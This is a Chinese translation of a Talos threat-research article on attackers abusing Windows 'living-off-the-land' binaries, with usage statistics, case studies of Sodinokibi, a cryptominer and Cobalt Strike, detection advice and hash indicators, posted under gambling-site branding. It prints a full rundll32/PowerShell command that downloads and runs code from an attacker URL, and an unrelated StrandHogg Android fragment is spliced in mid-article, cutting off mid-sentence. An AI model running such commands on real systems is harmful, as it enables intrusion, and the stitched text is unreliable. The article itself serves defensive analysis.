欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全预警正文

深切探访离地进击Living-off-the-land二进制文件

b9e08c31ae1faa592019-12-0582技术

一、概述 进击者所运用的手艺老是循环往复的。近期,我们发明进击者所运用的一种盛行手艺,被称为离地进击(living-off-the-land)二进制文件,或许简称为“LoLBins”。差别的进击者常常运用LoLBins手艺,将无文件的歹意软件与正当的云效劳相连系,从而提拔进击运动(一般是在后破绽运用阶段)未被发明的几率。 运用离地进击战略,就表明进击者须要运用预先装置好的东西来实行其事情。这会让防备者更难检测到进击,同时也会让研讨职员更难辨认出歹意运动背地的进击者是谁。在我们监测到的进击运动中,我们在受害者的操作体系上找到了一些二进制文件,这些二进制文件原本是用于正当目的,但在这些场景中它们被进击者滥用。 在这篇文章中,我们将重要研讨LOLBins的运用,另外还将引见最常常会被进击者滥用的Windows体系二进制文件,并对细致的运用状况举行数据统计和剖析。 我们还将对近期发作的LoLBins相干歹意运动举行申明,并在末了提出怎样检测歹意LoLBins的发起。 二、细致剖析LoLBins LoLBin是操作体系供应的二进制文件,一般用于正当目的,但也有大概被歹意行动者滥用。有一些默许存在的体系二进制文件大概会存在一些“副作用”,从而致使进击者运用这些体系文件来隐蔽他们的歹意运动。 LoLBins并非一个新颖的观点,也不单单议针对Windows环境。从初期的DOS操作体系和Unix体系入手下手,险些一切盛行的操作体系中都包括着进击者可以运用的可实行文件。 我们无妨举一个80年代中期的示例,个中,用于重新启动盘算机的二进制代码以文本情势供应给默许的debug.com DOS调试器,目的是防备被反歹意软件扫描顺序检测到,并保证依据预期运转歹意代码。

N SET.COM
A 100
MOV AX,0040
MOV DS,AX
MOV AX,1234
MOV [0072],AX
JMP F000:FFF0
 
RCX
10
W
Q
在DerbyCon 3的演讲中,Matthew Graeber和Christopher Campbell议论了怎样运用默许的Windows二进制文件举行红蓝匹敌中红队运动,以回避平安防备机制。 在这篇文章中,我们也一样将重点放在Windows的LoLBins上,并揭秘现如今的一些罕见用法。 总而言之,进击者可以运用LoLBins来完成以下目的: 下载并装置歹意代码; 实行歹意代码; 绕过UAC; 绕过运用顺序掌握,比方WDAC。 进击者大概会运用一些常常由体系厂商预先装置,并大概在侦察时期发明的其他实用顺序。这些可实行文件多是经由署名的实用顺序,比方:更新顺序、设置顺序和种种第三方驱动顺序。 LoLBins一般与正当的云效劳(比方:GitHub、Pastebin、Amazon S3)和云存储(比方:Dropbox、Box和Google Drive)连系运用。经由历程运用正当的云效劳来存储歹意代码、敕令和掌握(C2)基本构造和举行数据泄漏。因为这一历程当中所发生的流量与正当行动发生的流量没有辨别,因而进击者展开的此类运动有非常大的大概不会被检测到。 我们重要关注可以用于下载或实行歹意代码的可实行文件。在我们的研讨中,我们对下面这些可实行文件的逐日运转状况举行了延续监测,并确认它们是不是大概会被滥用。这些可实行文件包括: powershell.exe bitsadmin.exe certutil.exe psexec.exe wmic.exe mshta.exe mofcomp.exe cmstp.exe windbg.exe cdb.exe msbuild.exe csc.exe regsvr32.exe 2.1 滥用PowerShell 在近来一段时候里,PowerShell是进击者用于下载歹意代码和内存实行的重要疑心对象。进击者一般会运用这个Command Shell,其内部是基于Windows治理和.NET框架构建。这个功用强大的治理环境中包括一个平安战略,可以防备实行不受信托的代码。但遗憾的是,可以经由历程一个敕令行选项轻松躲避这个战略。 有一种思绪,是完全制止实行带有绕过平安战略选项的PowerShell。然则,有很多正当的东西(比方:Chocolatey软件包治理器、某些运用准确敕令行的体系治理东西)。 PowerShell的代码对大小写不敏感(不辨别大小写),只需没有加上明白的选项,就会接收敕令行选项的收缩版本。比方,-EncodedCommand选项(接收Base64编码后的字符串作为参数)也可以写成-EncodedC或-enc来挪用,这也是歹意进击者常常会运用的。 比方Sodinokibi和Gandcrab如许的盛行歹意软件,曾运用过反射DLL加载顺序,从而让进击者无需运用Windows API,即可将动态库加载到历程内存中。 Invoke-Obfuscation模块一般用于竖立多态殽杂的变体,反病毒顺序和其他防备机制一般没法检测到该变体。 跟着时候的推移,进击者逐步熟悉到了PowerShell在歹意用处方面所具有的“潜力”,并入手下手逐步增添滥用于LoLBins的可实行文件的数目。msbuild.exe和C#编译器csc.exe是红队最经常使用的一些东西,这两个东西常常都邑用于下载、构建和加载针对特定体系设想的歹意代码,而且不会出现在任何可实行文件的阻挠列表上。 2.2 LoLBins的运用频次剖析 我们借助Cisco AMP的终端遥测手艺,尝试肯定LoLBins被滥用的频次。我们经由历程平安信道接收到的遥测数据中,包括被挪用历程的称号,以及其文件映像的加密校验和,这有助于我们跟踪某一个特定文件的生长状况,并梳理清晰父子历程关联。 AMP遥测中绘制的历程关联图示例:

深切探访离地进击Living-off-the-land二进制文件  技术 第1张

我们的遥测数据侧重于检测新型进击的发作状况,但理论上也可以测量出可疑的LoLBins挪用数目。 我们研讨了可以疾速推断运用的其他LoLBins。在一切状况下,我们都假定最坏的状况,将以下历程的任何运用URL作为参数的挪用视为可疑行动,这些历程包括: · mshta.exe · certutil.exe · bitsadmin.exe · regsvr32.exe · powershell.exe 因为我们关于“可疑历程挪用”具有较为宽松的定义,因而大概会发生一些误报。比方,关于在敕令行中运用URL作为参数的PowerShell挪用,我们预算应当只对个中的7%举行深切调查,而且这7%很有多是歹意的。 依据对天天数十亿条数据举行剖析,并将检测到的可疑挪用数目除以总挪用数目,就可以取得可疑挪用的百分比。团体而言,我们假定了最坏的状况,还最少有99.8%的LoLBins挪用不须要举行深切剖析。 LoLBins和个中可疑挪用的比例关联:

深切探访离地进击Living-off-the-land二进制文件  技术 第2张

然后,我们提取了这些潜伏的可疑挪用,并深切寻觅个中多是歹意的挪用。 我们再一次以PowerShell为例举行申明,针对潜伏可疑的PowerShell历程实行,个中相符前提的占比唯一0.2%。然则,如前所述,只要7%须要举行现实的深切调查,因而这一比例就下降到了0.014%。因而,有最少99.986%的PowerShell挪用是正当的。 假如要确认是不是属于歹意挪用的URL,我们总结出一个简朴的履历,即查找LoLBins挪用中是不是包括以下内容的组合: (1)任何外部IP地点; (2)任何.net顶级域名; (3)任何.eu顶级域名; (4)任何故可实行文件或图象扩展名末端的URL(比方:.exe、.lnk、.dll、.jpg、.png等); (5)对Pastebin.com及其镜像站点的任何援用; (6)对GitHub或任何源代码存储库站点的任何援用。 2.3 红队运动 只管大多数纪录的可疑挪用都源自于歹意行动者,但值得注意的是,个中也包括一部份红队运动。平安团队和渗入测试职员常常会运用匹敌性模仿框架(比方:Red Canary Atomic测试)来测试针对ATT&CK知识库中分类的东西、手艺和历程的体系性防备状况。 因而,有一些红队定制了一些东西,来模仿注入Mimikatz之类的盛行歹意东西的运动。这里有一个托管在GitHub上的自定义剧本示例,用于模仿运用正当域名托管歹意代码的匹敌手艺。 红队成员运用伪Mimikatz模块来测试防备能力:

深切探访离地进击Living-off-the-land二进制文件  技术 第3张

三、LoLBins进击者的手艺水平剖析 在本章中,我们将形貌三起自力的进击运动,并经由历程这些案例细致展示PowerShell的用法,并展示三个手艺水平差别的歹意构造所编写出的内存歹意代码。平安职员可以经由历程对敕令和及选项的剖析,来轻松检测到这些进击运动。
StrandHogg安卓破绽剖析 Promon安全研究人员发现了一个危险的安卓漏洞——StrandHogg。攻击者利用该漏洞可以将恶意软件伪装成合法的APP,而且用户并不会意识到自己被攻击了。该漏洞影响所有的安卓版本,包括最新的安卓 10,研究人员同时发现有36个恶意app正在利用该漏洞,同时top 500的app都处于危险中。 漏洞详情 漏洞概述 StrandHogg是一种唯一且独特的攻击方式,可以在无需设备root权限的情况下对设备发起复杂的攻击。该漏洞利用安卓多任务系统中的弱点来使恶意app可以伪装成设备中的其他app来发起攻击。该漏洞利用是基于taskAffinity的,该安卓控制设备允许任意app(包括恶意app)在多任务系统中自由显示为任意身份。 攻击者通过获取危险的权限来实现这一目的。 请求权限 漏洞使得恶意app可以在伪装成合法app时请求不同的权限。攻击者可以请求任意
3.1 案例1:一般的讹诈软件 在第一个案例中,我们重要来剖析Sodinokibi讹诈软件。Sodinokibi是一个非常盛行的讹诈软件,该讹诈软件借助收集垂纶的体式格局举行流传,同时也内置一些破绽运用事情包,并运用Web框架(比方WebLogic)中的破绽举行流传。 依据遥测效果,我们看到,PowerShell是运用Invoke-Expression cmdlet启动的,它运用Net.WebClient.DownloadString函数从Pastebin网站上猎取代码,将网站上的内容下载为字符串,并将其存储在内存中。 最初的Sodinokibi PowerShell挪用:

深切探访离地进击Living-off-the-land二进制文件  技术 第4张

下载的代码是一个反射DLL加载顺序,具有随机的函数称号,以防备运用简朴的基于形式的检测引擎。讹诈软件Payload经由Base64编码,并存储在变量$PEBytes32中。值得注意的是,Base64可实行文件Payload肇端的两个字符为“TV”,可以作为其辨认特性,这两个字符被解码为字符“MZ”,可以实行PE32+可实行文件的DOS可实行文件Stub。 反射DLL加载顺序加载Sodinokibi Payload:

深切探访离地进击Living-off-the-land二进制文件  技术 第5张

Sodinokibi和GandCrab都是非常罕见的讹诈软件,但这并不意味着它们的开发者手艺气力较差。只管两者都运用现有的手艺来流传和实行Payload,但我们依然可以推断出,其幕后开发者大抵具有中等的手艺水平。 3.2 案例2:中等水平的挖矿歹意软件 我们的第二个案例,进击者运用PowerShell功用,对内存中的代码举行隐约处置惩罚,并对内存中的多层殽杂举行了隐约处置惩罚,然后装置并实行加密钱银挖矿Payload的现实PowerShell剧本。 解码后的第一个Invoke-Obfuscation层:

深切探访离地进击Living-off-the-land二进制文件  技术 第6张

Invoke-Obfuscation模块一般用于PowerShell殽杂当中。除了隐约完全的下一层剧本代码以外,还会隐蔽对Invoke-Expression(IEX)cmdlet的挪用。在这里的示例中,$Env:COMSpec变量包括字符串“C:\Windows\System\cmd.exe”,因而,衔接在一同的第4个、第15个和第25个字符会构成字符串“iex”。 这个加密钱银挖矿歹意软件包括五个反殽杂阶段,在末了一个阶段,经由历程运用参数为“*mdr*”的“gv”(Get-Variable cmdlet)猎取变量MaximumDriveCount的称号并挑选第3个、第11个和第2个字符来构成该字符串。 从MaximumDriveCount中提取“iex”: 下载的PowerShell剧本中包括以下功用: (1)禁用Windows Defender、Malwarebytes和Sophos反歹意软件产物; (2)装置经由修改后的XMRig加密钱银Payload; (3)下载从内存中盗取用户凭证的模块,盗取到的凭证会起首盘算出其Invoke-TheHash哈希值,然后经由历程SMB或WMI的体式格局来通报。 反殽杂后的加密钱银挖矿加载东西:

深切探访离地进击Living-off-the-land二进制文件  技术 第7张

3.3 案例3:Cobalt Strike怎样在收集流量中隐蔽 我们的末了一个案例,展示了高等进击者的歹意运动。进击者将Cobalt Strike信标与从Cobalt Strike框架中取得的PowerShell阶段东西配合运用,一同用于后破绽运用阶段的歹意运动。 依据我们的遥测,发明进击是从滥用rundll32.exe,在敕令行挪用Jscript代码下载网页,随后启动初始PowerShell而入手下手的。
rundll32.exe javascript:\\..\\mshtml,RunHTMLApplication ;document.write();new%20ActiveXObject(WScript.Shell).Run(powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('hxxps://stjohnplece.co/lll/webax.js');
PowerShell的第一阶段是webax.js,这个文件名具有误导性,它现实上会解压缩PowerShell的第二阶段代码,该代码会将第一阶段的Shellcode加载到内存中,并竖立一个特定的要求去下载看起来像是规范jQuery JavaScript库的内容。 Cobalt Strike PowerShell阶段东西:

深切探访离地进击Living-off-the-land二进制文件  技术 第8张

该Shellcode会发出一个到IP地点134.209.176.24的HTTP GET要求,但这个要求的标头字段显现正在寻觅的主机是code.jquery.com,这是jQuery官方效劳的正当域名。如许的手艺好像胜利绕过了一些自动实行环境,这些环境经由剖析会以为该要求转到了正当主机上,而非歹意IP地点。 带有欺骗性主机字段的HTTP标头:

深切探访离地进击Living-off-the-land二进制文件  技术 第9张

下载的歹意jQuery从第4015个字节入手下手是现实的jQuery代码,背面紧接着经由殽杂处置惩罚的Cobalt Strike信标,该信标经由历程静态XOR体式格局举行隐约处置惩罚,并运用反射加载手艺加载到内存中。 歹意jQuery和Cobalt Strike Payload的入手下手和完毕:

深切探访离地进击Living-off-the-land二进制文件  技术 第10张

深切探访离地进击Living-off-the-land二进制文件  技术 第11张

歹意jQuery以1520字节的现实jQuery代码完毕,以防备反歹意软件扫描顺序扫描要求的入手下手部份和末端部份。 这类将二进制Payload隐蔽在jQuery库中,并回避歹意IP地点检测的手艺表明,我们正在与一个更高等的歹意进击者匹敌,他们的歹意行动大概具有更强的隐蔽性。 团体而言,我们没法肯定出哪些进击者或进击构造会专注于运用LoLBins。现在,我们能看到的是,不仅一些高等的进击者在运用如许的手艺,同时一些罕见的歹意代码(比方:讹诈软件、挖矿歹意软件)也在运用这类手艺。 四、怎样检测并提防LoLBins滥用 运用不监控历程行动的平安防护计划,每每很难提防LoLBins与无文件代码连系运用的进击体式格局。我们可以经由历程对历程的父子关联举行剖析、对收集通信举行监测、对历程的非常收集运动状况举行检测等体式格局来检测是不是存在LoLBins滥用。 我们发起构造应当将其体系设置为集中式日记纪录,如许可以轻易平安团队展开进一步的剖析。从V5版本入手下手,PowerShell可以设置将一切已实行代码块的实行纪录保存到Windows事宜日记中。如许一来,平安团队的成员就可以相识须要在运转之前举行反殽杂处置惩罚的殽杂后代码。在Windows事宜日记中,也可以看到反殽杂后代码的实行。 我们优先引荐的防备步伐,是运用Windows Defender运用顺序掌握如许的机制谢绝LoLBins的实行。Microsoft曾竖立了一个战略阻挠文件,该文件可以阻挠受庇护体系上不须要的LoLBins不会被实行。 但遗憾的是,在大多数环境中,一般没法阻挠一切LoLBins,因为一些正当的历程也须要用到它们。 五、总结 我们的研讨表明,不论是商品化的歹意软件,照样有针对性的高等进击,现在有很多进击者正在借助种种手艺,在他们的歹意运动中入手下手运用LoLBins。然则,LoLBins被滥用的团体几率非常低(低于0.2%),因而还不太合适“一刀切”地阻挠对LoLBins的一切挪用。 然则,蓝队成员在举行匹敌的历程当中,必需充足考虑到LoLBins的大概性。假如胜利运用,进击者可以借助LoLBIns来加强其隐蔽性,或许使歹意软件能在目的盘算机上保存更长的时候。 六、检测与防备产物 我们发起用户可以选用终端检测与相应东西(EDR),从而跟踪历程挪用行动,并对历程举行检测。 借助一些收集平安设备举行收集扫描,可以阻挠接见歹意网站,并检测到这些进击运动中所运用的歹意软件。 电子邮件平安产物可以阻挠进击者在歹意运动中发出的歹意电子邮件。 下一代防火墙(NGFW)、下一代入侵防备体系(NGIPS)等收集平安设备可以检测出与上述要挟相干的歹意运动。 除此以外,一些平安产物可以协助辨认歹意二进制文件,并竖立庇护机制。 运用平安互联网网关(SIG)可以阻挠用户衔接到歹意域名、IP和URL,同时涵盖公司内部收集和外部收集。 除上述以外,客户还可以定阅开源SNORT,在snort.org下载最新版本的划定规矩库,以保证及时掌控最新的要挟信息。 七、要挟目标 7.1 Sodinokibi dc3de6cff67f4bcb360d9fdd0fd5bd0d6afca0e1518171b8e364bb64c5446bb1 dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80 7.2 Xmrig相干样本 4528341b513fb216e06899a24d3560b89636158432ba7a0a118caa992739690e c4ef0e90f81bac29899070d872e9ddea4531dbb5a18cdae090c19260cb0d4d83 e0ffda3353a17f5c9b7ef1d9c51f7dc1dcece1dfa2bcc8e1c93c27e5dde3b468 3f8d2e37a2bd83073e61ad4fc55536007076ae59a774b5d0c194a2bfab176172 92f0a4e2b7f4fe9d4ea373e63d9b08f4c2f21b2fd6532226c3fd576647efd64a ebb7d224017d72d9f7462db541ac3dde38d2e7ecebfc9dca52b929373793590 7.3 Cobalt Strike相干样本 522b99b5314531af6658e01ab471e1a7e0a5aa3a6ec100671dcfa0a6b0a1f52d 4c1a9ba633f739434cc81f23de9c6c1c12cdeacd985b96404a4c2bae2e54b0f5 f09d5ca3dfc53c1a6b61227646241847c5621b55f72ca9284f85abf5d0f06d35 本文翻译自:​https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html

网友评论